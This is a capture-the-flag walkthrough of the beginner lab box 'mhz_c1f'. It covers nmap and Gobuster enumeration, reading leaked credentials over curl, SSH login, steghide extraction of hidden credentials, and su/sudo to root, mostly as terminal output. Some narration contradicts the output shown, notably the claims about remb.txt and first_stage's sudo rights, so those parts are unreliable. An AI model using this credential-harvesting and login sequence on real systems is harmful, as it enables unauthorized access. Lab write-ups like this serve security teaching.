WRITE-UP: mhz_c1f (Iper-Beginner)

Reconnaissance

I started by scanning the target machine and discovered that port 80 was open. This indicated that a web server was running.

```
┌──(kali㉿kali)-[~]
└─$ nmap -A -sC -sV 192.168.1.111
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 05:18 -0400
Nmap scan report for mhz_c1f.home-life.hub (192.168.1.111)
Host is up (0.0012s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 38:d9:3f:98:15:9a:cc:3e:7a:44:8d:f9:4d:78:fe:2c (RSA)
|   256 89:4e:38:77:78:a4:c3:6d:dc:39:c4:00:f8:a5:67:ed (ECDSA)
|_  256 7c:15:b9:18:fc:5c:75:aa:30:96:15:46:08:a9:83:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:5C:37:1C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Enumeration

Since a web server was available, I used Gobuster to enumerate directories and files:

gobuster dir -u http://192.168.1.111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.1.111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
═══════════════════════════════════════════════════════════════
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
═══════════════════════════════════════════════════════════════
[+] Url:                     http://192.168.1.111
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
═══════════════════════════════════════════════════════════════
Starting gobuster in directory enumeration mode
═══════════════════════════════════════════════════════════════
index.html           (Status: 200) [Size: 10918]
notes.txt            (Status: 200) [Size: 86]
```

This scan revealed several files, including notes.txt and remb.txt.

Information Gathering

I used curl to read the contents of notes.txt, which provided useful information.

```
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.1.111/notes.txt
1- i should finish my second lab
2- i should delete the remb.txt file and remb2.txt
```

Then I checked remb.txt and found what appeared to be valid credentials.

```
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.1.111/remb.txt
first_stage:flagitifyoucan1234
```

Initial Access

Using the discovered credentials, I logged in via SSH as the user first_stage.

ssh first_stage@192.168.1.111

```
┌──(kali㉿kali)-[~]
└─$ ssh first_stage@192.168.1.111
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
first_stage@192.168.1.111's password:
Permission denied, please try again.
first_stage@192.168.1.111's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr  6 09:33:36 UTC 2026

  System load:  0.01               Processes:             90
  Usage of /:   40.5% of 9.78GB    Users logged in:       0
  Memory usage: 24%                IP address for enp0s3: 192.168.1.111
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

23 packages can be updated.
0 updates are security updates.

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Last login: Sun Apr  5 15:47:36 2026 from 172.20.10.3
$ /bin/bash -i
first_stage@mhz_c1f:~$ ls
user.txt
first_stage@mhz_c1f:~$ cat user.txt
HEEEEEY , you did it
that's amazing , good job man

so just keep it up and get the root bcz i hate low privileges ;)

#mhz_cyber
first_stage@mhz_c1f:~$
```

After logging in, I explored the user's directory and found some image files.

```
first_stage@mhz_c1f:~$ cd ..
first_stage@mhz_c1f:/home$ ls
first_stage  mhz_c1f
first_stage@mhz_c1f:/home$ cd mhz_c1f/
first_stage@mhz_c1f:/home/mhz_c1f$ ls
Paintings
first_stage@mhz_c1f:/home/mhz_c1f$ cd Paintings/
first_stage@mhz_c1f:/home/mhz_c1f/Paintings$ ls
'19th century American.jpeg'  'Frank McCarthy.jpeg'  'Russian beauty.jpeg'  'spinning the wool.jpeg'
first_stage@mhz_c1f:/home/mhz_c1f/Paintings$
```

Steganography Analysis

The images appeared to contain hidden data, so I downloaded them using scp.

```
┌──(kali㉿kali)-[~]
└─$ scp first_stage@192.168.1.111:/home/mhz_c1f/Paintings/* .
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
first_stage@192.168.1.111's password:
19th century American.jpeg                                          100%  437KB
Frank McCarthy.jpeg                                                 100%  348KB
Russian beauty.jpeg                                                 100%  507KB
spinning the wool.jpeg                                              100%  905KB
```

Then I used steghide to extract hidden information from the images:

steghide extract -sf <image_file>

```
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf spinning\ the\ wool.jpeg
Enter passphrase:
wrote extracted data to "remb2.txt".

┌──(kali㉿kali)-[~]
└─$ ls
'19th century American.jpeg'  Desktop  Documents  Downloads  'Frank McCarthy.jpeg'  linphone.gpg  Music  Pictures  Public  remb2.txt

┌──(kali㉿kali)-[~]
└─$ steghide extract -sf 19th\ century\ American.jpeg
Enter passphrase:
steghide: could not extract any data with that passphrase!

┌──(kali㉿kali)-[~]
└─$ cat remb2.txt
ooh , i know should delete this , but i cant' remember it
screw me

mhz_c1f:1@ec1f
```

This revealed another set of credentials.

Privilege Escalation / Further Access

```
first_stage@mhz_c1f:~$ sudo -l
[sudo] password for first_stage:
Sorry, user first_stage may not run sudo on mhz_c1f.
```

I discovered that the user first_stage could execute commands with sudo privileges.

Using this, I switched to the user mhz_c1f:

sudo su mhz_c1f

```
first_stage@mhz_c1f:~$ su mhz_c1f
Password:
mhz_c1f@mhz_c1f:/home/first_stage$ cd ../mhz_c1f/
mhz_c1f@mhz_c1f:~$ ls
```

Flag Capture

After switching to the mhz_c1f user, I explored the system and successfully found the flag.

```
mhz_c1f@mhz_c1f:~$ id
uid=1000(mhz_c1f) gid=1000(mhz_c1f) groups=1000(mhz_c1f),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
mhz_c1f@mhz_c1f:~$ sudo su
[sudo] password for mhz_c1f:
Sorry, try again.
[sudo] password for mhz_c1f:
root@mhz_c1f:/home/mhz_c1f# ls
Paintings
root@mhz_c1f:/home/mhz_c1f# cd /root
root@mhz_c1f:~# ls
root@mhz_c1f:~# ls -al
total 32
drwx------  3 root root 4096 Apr 24  2020 .
drwxr-xr-x 24 root root 4096 Apr 13  2020 ..
-rw-------  1 root root   54 Apr 24  2020 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  124 Apr 24  2020 .root.txt
drwx------  2 root root 4096 Apr 13  2020 .ssh
-rw-------  1 root root  833 Apr 24  2020 .viminfo
root@mhz_c1f:~# cat .root.txt
OwO HACKER MAN :D

Well done sir , you have successfully got the root flag.
I hope you enjoyed in this mission.

#mhz_cyber
root@mhz_c1f:~#
```

Conclusion

In this challenge, I:

- **Used Gobuster to enumerate directories and files**
- **Analyzed discovered files for credentials**
- **Gained initial access via SSH**
- **Used steganography techniques to uncover hidden credentials**
- **Escalated access to another user**
- **Retrieved the final flag**

This was a good iper-beginner-level challenge that demonstrated basic enumeration and steganography techniques.